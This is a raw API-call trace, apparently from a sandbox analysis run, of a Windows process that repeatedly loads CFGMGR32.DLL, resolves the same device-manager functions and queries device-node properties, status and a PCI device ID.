0x7ffb1ceee8a0 [0210.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.759] malloc (_Size=0x18) returned 0x20abc281fc0 [0210.759] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.760] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3962b32c, dwHighDateTime=0x1d9eb0c)) [0210.760] SetEvent (hEvent=0x248) returned 1 [0210.763] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.763] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.767] malloc (_Size=0x18) returned 0x20abc281e00 [0210.767] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.767] malloc (_Size=0x48) returned 0x20abc27cf80 [0210.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x396514e5, dwHighDateTime=0x1d9eb0c)) [0210.767] SetEvent (hEvent=0x248) returned 1 [0210.772] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.772] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.775] malloc (_Size=0x18) returned 0x20abc281d20 [0210.776] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.779] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x396514e5, dwHighDateTime=0x1d9eb0c)) [0210.779] SetEvent (hEvent=0x248) returned 1 [0210.893] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.893] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.897] malloc (_Size=0x18) returned 0x20abc281fc0 [0210.897] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x30, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0210.897] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x39782572, dwHighDateTime=0x1d9eb0c)) [0210.898] SetEvent (hEvent=0x248) returned 1 [0210.901] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.901] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.905] malloc (_Size=0x18) returned 0x20abc281ea0 [0210.906] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x30, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0210.906] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x397a8801, dwHighDateTime=0x1d9eb0c)) [0210.906] SetEvent (hEvent=0x248) returned 1 [0210.910] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.910] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.910] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.913] malloc (_Size=0x18) returned 0x20abc2819e0 [0210.913] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0210.913] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x397a8801, dwHighDateTime=0x1d9eb0c)) [0210.914] SetEvent (hEvent=0x248) returned 1 [0210.918] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.918] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.922] malloc (_Size=0x18) returned 0x20abc281ec0 [0210.922] CM_Get_Device_IDA (in: dnDevInst=0x31, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_29C0&SUBSYS_11001AF4&REV_00\\3&11583659&0&00") returned 0x0 [0210.922] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x397ceb18, dwHighDateTime=0x1d9eb0c)) [0210.922] SetEvent (hEvent=0x248) returned 1 [0210.926] malloc (_Size=0xd8) returned 0x20abc2867b0 [0210.926] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0210.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0210.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0210.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0210.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0210.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0210.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0210.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0210.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0210.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0210.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0210.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0210.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0210.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0210.929] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0210.929] malloc (_Size=0x18) returned 0x20abc281dc0 [0210.929] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0210.929] malloc (_Size=0x124) returned 0x20abc286890 [0210.929] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0210.930] free (_Block=0x20abc286890) [0210.930] malloc (_Size=0x48) returned 0x20abc27cb20 [0210.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x397ceb18, dwHighDateTime=0x1d9eb0c)) [0210.931] SetEvent (hEvent=0x248) returned 1 [0210.933] malloc (_Size=0x18) returned 0x20abc281f80 [0210.933] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.933] free (_Block=0x20abc281f80) [0210.933] malloc (_Size=0x18) returned 0x20abc281f60 [0210.933] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.933] free (_Block=0x20abc281f60) [0210.933] malloc (_Size=0x18) returned 0x20abc281ec0 [0210.934] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.934] free (_Block=0x20abc281ec0) [0210.934] malloc (_Size=0x18) returned 0x20abc281de0 [0210.934] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0210.934] free (_Block=0x20abc281de0) 